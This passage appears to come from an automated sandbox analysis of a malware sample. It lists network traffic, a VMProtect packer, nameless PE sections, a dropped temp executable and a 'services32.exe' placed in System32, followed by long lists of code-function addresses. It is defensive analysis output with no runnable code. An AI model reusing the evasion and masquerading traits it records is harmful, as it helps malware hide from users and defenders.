date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2

Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Detected VMProtect packer

Show sources

Source: services32.exe.7.dr

Static PE information: .vmp0 and .vmp1 section names

PE file has nameless sections

Show sources

Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:
Source: YfTokH7RIj.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6B334	0_2_00D6B334
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D60538	0_2_00D60538
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D76658	0_2_00D76658
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D8E7B0	0_2_00D8E7B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D65918	0_2_00D65918
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D6CADC	0_2_00D6CADC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D81CDC	0_2_00D81CDC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00DACE3E	0_2_00DACE3E
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_05CCEC28	0_2_05CCEC28
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602A6C0	7_2_00007FFA3602A6C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360396C9	7_2_00007FFA360396C9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36040EE6	7_2_00007FFA36040EE6
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035721	7_2_00007FFA36035721
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602E892	7_2_00007FFA3602E892
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36036581	7_2_00007FFA36036581
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36032DB0	7_2_00007FFA36032DB0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024DF1	7_2_00007FFA36024DF1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603A689	7_2_00007FFA3603A689
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023317	7_2_00007FFA36023317
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36031BD0	7_2_00007FFA36031BD0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360293FD	7_2_00007FFA360293FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020C1C	7_2_00007FFA36020C1C
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36041C92	7_2_00007FFA36041C92
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360200C0	7_2_00007FFA360200C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360208E0	7_2_00007FFA360208E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020120	7_2_00007FFA36020120
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025152	7_2_00007FFA36025152
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020178	7_2_00007FFA36020178
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020190	7_2_00007FFA36020190
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602A996	7_2_00007FFA3602A996
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020180	7_2_00007FFA36020180
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360311CD	7_2_00007FFA360311CD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360216CA	7_2_00007FFA360216CA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020ECC	7_2_00007FFA36020ECC
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360286D2	7_2_00007FFA360286D2
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022EC8	7_2_00007FFA36022EC8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36028EF5	7_2_00007FFA36028EF5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025708	7_2_00007FFA36025708
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025F2F	7_2_00007FFA36025F2F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602371B	7_2_00007FFA3602371B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602673A	7_2_00007FFA3602673A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D75F	7_2_00007FFA3602D75F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020F95	7_2_00007FFA36020F95
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36036796	7_2_00007FFA36036796
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025788	7_2_00007FFA36025788
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360217B8	7_2_00007FFA360217B8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360237A1	7_2_00007FFA360237A1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360227A9	7_2_00007FFA360227A9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021FEE	7_2_00007FFA36021FEE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360357DA	7_2_00007FFA360357DA
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602580A	7_2_00007FFA3602580A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024831	7_2_00007FFA36024831
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602504B	7_2_00007FFA3602504B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021840	7_2_00007FFA36021840
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602206B	7_2_00007FFA3602206B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602E06D	7_2_00007FFA3602E06D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023878	7_2_00007FFA36023878
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022861	7_2_00007FFA36022861
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36028865	7_2_00007FFA36028865
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023090	7_2_00007FFA36023090
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602087F	7_2_00007FFA3602087F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360244D3	7_2_00007FFA360244D3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360234BE	7_2_00007FFA360234BE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603ACC0	7_2_00007FFA3603ACC0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D4C5	7_2_00007FFA3602D4C5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360224F3	7_2_00007FFA360224F3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024CDF	7_2_00007FFA36024CDF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36027511	7_2_00007FFA36027511
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021515	7_2_00007FFA36021515
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020CFE	7_2_00007FFA36020CFE
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602DD02	7_2_00007FFA3602DD02
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023D06	7_2_00007FFA36023D06
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026508	7_2_00007FFA36026508
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025D22	7_2_00007FFA36025D22
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CD46	7_2_00007FFA3602CD46
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602256B	7_2_00007FFA3602256B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CD70	7_2_00007FFA3602CD70
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603AD61	7_2_00007FFA3603AD61
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025D92	7_2_00007FFA36025D92
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024D7A	7_2_00007FFA36024D7A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022D7F	7_2_00007FFA36022D7F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36030D89	7_2_00007FFA36030D89
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360235A3	7_2_00007FFA360235A3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360245CD	7_2_00007FFA360245CD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360225D2	7_2_00007FFA360225D2
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021DC4	7_2_00007FFA36021DC4
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360255E1	7_2_00007FFA360255E1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023612	7_2_00007FFA36023612
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360215FD	7_2_00007FFA360215FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602262B	7_2_00007FFA3602262B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026621	7_2_00007FFA36026621
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025E20	7_2_00007FFA36025E20
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602464A	7_2_00007FFA3602464A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020E47	7_2_00007FFA36020E47
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025671	7_2_00007FFA36025671
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024E74	7_2_00007FFA36024E74
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602BF50	7_2_00007FFA3602BF50
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023699	7_2_00007FFA36023699
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023E81	7_2_00007FFA36023E81
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021EB1	7_2_00007FFA36021EB1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360226B0	7_2_00007FFA360226B0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360266B0	7_2_00007FFA360266B0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025EB5	7_2_00007FFA36025EB5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025AE6	7_2_00007FFA36025AE6
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026B13	7_2_00007FFA36026B13
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022B08	7_2_00007FFA36022B08
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36027308	7_2_00007FFA36027308
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021B1D	7_2_00007FFA36021B1D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035B1E	7_2_00007FFA36035B1E
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024343	7_2_00007FFA36024343
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020345	7_2_00007FFA36020345
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CB46	7_2_00007FFA3602CB46
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603A375	7_2_00007FFA3603A375
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602138D	7_2_00007FFA3602138D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035B7D	7_2_00007FFA36035B7D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026380	7_2_00007FFA36026380
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D39B	7_2_00007FFA3602D39B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602839E	7_2_00007FFA3602839E
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360253CC	7_2_00007FFA360253CC
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022BD4	7_2_00007FFA36022BD4
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360233F1	7_2_00007FFA360233F1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023BF9	7_2_00007FFA36023BF9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360313E5	7_2_00007FFA360313E5
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36031410	7_2_00007FFA36031410
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025C12	7_2_00007FFA36025C12
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022405	7_2_00007FFA36022405
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602D42B	7_2_00007FFA3602D42B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36035C29	7_2_00007FFA36035C29
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022C4A	7_2_00007FFA36022C4A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602544F	7_2_00007FFA3602544F
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602443B	7_2_00007FFA3602443B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024C6A	7_2_00007FFA36024C6A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602CC75	7_2_00007FFA3602CC75
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025C8A	7_2_00007FFA36025C8A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021C81	7_2_00007FFA36021C81
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36020C9D	7_2_00007FFA36020C9D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360210D3	7_2_00007FFA360210D3
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360268C9	7_2_00007FFA360268C9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360220DF	7_2_00007FFA360220DF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021914	7_2_00007FFA36021914
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023117	7_2_00007FFA36023117
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025902	7_2_00007FFA36025902
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3603C11D	7_2_00007FFA3603C11D
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023958	7_2_00007FFA36023958
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602293B	7_2_00007FFA3602293B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021146	7_2_00007FFA36021146
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602BF58	7_2_00007FFA3602BF58
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026963	7_2_00007FFA36026963
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36021991	7_2_00007FFA36021991
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360221B9	7_2_00007FFA360221B9
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602319A	7_2_00007FFA3602319A
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360251D1	7_2_00007FFA360251D1
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360211BF	7_2_00007FFA360211BF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360261EF	7_2_00007FFA360261EF
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360241E0	7_2_00007FFA360241E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360239E0	7_2_00007FFA360239E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA360351E8	7_2_00007FFA360351E8
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA3602122B	7_2_00007FFA3602122B
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36026274	7_2_00007FFA36026274
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36025260	7_2_00007FFA36025260
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36024263	7_2_00007FFA36024263
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36022A97	7_2_00007FFA36022A97
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Code function: 7_2_00007FFA36023A97	7_2_00007FFA36023A97
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601A6C0	15_2_00007FFA3601A6C0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360296C9	15_2_00007FFA360296C9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36025721	15_2_00007FFA36025721
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601E891	15_2_00007FFA3601E891
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360124F3	15_2_00007FFA360124F3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36030D16	15_2_00007FFA36030D16
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010CFE	15_2_00007FFA36010CFE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36016508	15_2_00007FFA36016508
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36026581	15_2_00007FFA36026581
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36022DB0	15_2_00007FFA36022DB0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014E74	15_2_00007FFA36014E74
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602A689	15_2_00007FFA3602A689
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36031AC2	15_2_00007FFA36031AC2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013317	15_2_00007FFA36013317
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014343	15_2_00007FFA36014343
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CB46	15_2_00007FFA3601CB46
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D39B	15_2_00007FFA3601D39B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360193FD	15_2_00007FFA360193FD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010C1C	15_2_00007FFA36010C1C
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360100C0	15_2_00007FFA360100C0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360108E0	15_2_00007FFA360108E0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013117	15_2_00007FFA36013117
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010120	15_2_00007FFA36010120
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010178	15_2_00007FFA36010178
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010190	15_2_00007FFA36010190
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010180	15_2_00007FFA36010180
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360211CD	15_2_00007FFA360211CD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360151D1	15_2_00007FFA360151D1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360161EF	15_2_00007FFA360161EF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014263	15_2_00007FFA36014263
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360116CA	15_2_00007FFA360116CA
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010ECC	15_2_00007FFA36010ECC
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360186D2	15_2_00007FFA360186D2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012EC8	15_2_00007FFA36012EC8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36018EF5	15_2_00007FFA36018EF5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015708	15_2_00007FFA36015708
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015F2F	15_2_00007FFA36015F2F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601371B	15_2_00007FFA3601371B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601673A	15_2_00007FFA3601673A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D75F	15_2_00007FFA3601D75F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36010F95	15_2_00007FFA36010F95
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36026796	15_2_00007FFA36026796
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015788	15_2_00007FFA36015788
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360117B8	15_2_00007FFA360117B8
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360137A1	15_2_00007FFA360137A1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360127A9	15_2_00007FFA360127A9
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011FEE	15_2_00007FFA36011FEE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360257DA	15_2_00007FFA360257DA
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601580A	15_2_00007FFA3601580A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014831	15_2_00007FFA36014831
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601504B	15_2_00007FFA3601504B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011840	15_2_00007FFA36011840
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601206B	15_2_00007FFA3601206B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601E06D	15_2_00007FFA3601E06D
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013878	15_2_00007FFA36013878
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012861	15_2_00007FFA36012861
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36018865	15_2_00007FFA36018865
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013090	15_2_00007FFA36013090
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601087F	15_2_00007FFA3601087F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360144D3	15_2_00007FFA360144D3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360134BE	15_2_00007FFA360134BE
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602ACC0	15_2_00007FFA3602ACC0
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601D4C5	15_2_00007FFA3601D4C5
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014CDF	15_2_00007FFA36014CDF
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36017511	15_2_00007FFA36017511
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011515	15_2_00007FFA36011515
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601DD02	15_2_00007FFA3601DD02
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013D06	15_2_00007FFA36013D06
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015D22	15_2_00007FFA36015D22
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CD46	15_2_00007FFA3601CD46
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601256B	15_2_00007FFA3601256B
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3601CD70	15_2_00007FFA3601CD70
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA3602AD61	15_2_00007FFA3602AD61
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36015D92	15_2_00007FFA36015D92
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014D7A	15_2_00007FFA36014D7A
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36012D7F	15_2_00007FFA36012D7F
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36020D89	15_2_00007FFA36020D89
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360135A3	15_2_00007FFA360135A3
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360145CD	15_2_00007FFA360145CD
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360125D2	15_2_00007FFA360125D2
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36011DC4	15_2_00007FFA36011DC4
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36014DF1	15_2_00007FFA36014DF1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA360155E1	15_2_00007FFA360155E1
Source: C:\Windows\System32\services32.exe	Code function: 15_2_00007FFA36013612	15_2_00007FFA36013612
